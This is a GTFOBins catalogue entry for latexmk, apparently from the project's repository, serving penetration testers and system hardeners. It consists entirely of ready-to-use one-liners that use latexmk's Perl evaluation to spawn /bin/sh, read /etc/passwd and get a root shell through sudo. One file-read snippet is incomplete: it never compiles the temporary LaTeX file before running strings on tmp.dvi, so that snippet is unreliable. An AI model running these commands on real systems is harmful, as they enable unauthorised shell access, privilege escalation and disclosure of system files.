GTFOBins.github.io/_gtfobins/latexmk.md
Andrea Cardaci a91775b84a Fix latexmk
2022-07-03 18:32:09 +02:00

20 lines
599 B
Markdown

---
description: This allows to execute [`perl`](/gtfobins/perl/) code.
functions:
shell:
- code: |
latexmk -e 'exec "/bin/sh";'
- code: |
latexmk -latex='/bin/sh #' /dev/null
file-read:
- code: |
latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
- description: The read file will be part of the output.
code: |
TF=$(mktemp)
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}' >$TF
strings tmp.dvi
sudo:
- code: sudo latexmk -e 'exec "/bin/sh";'
---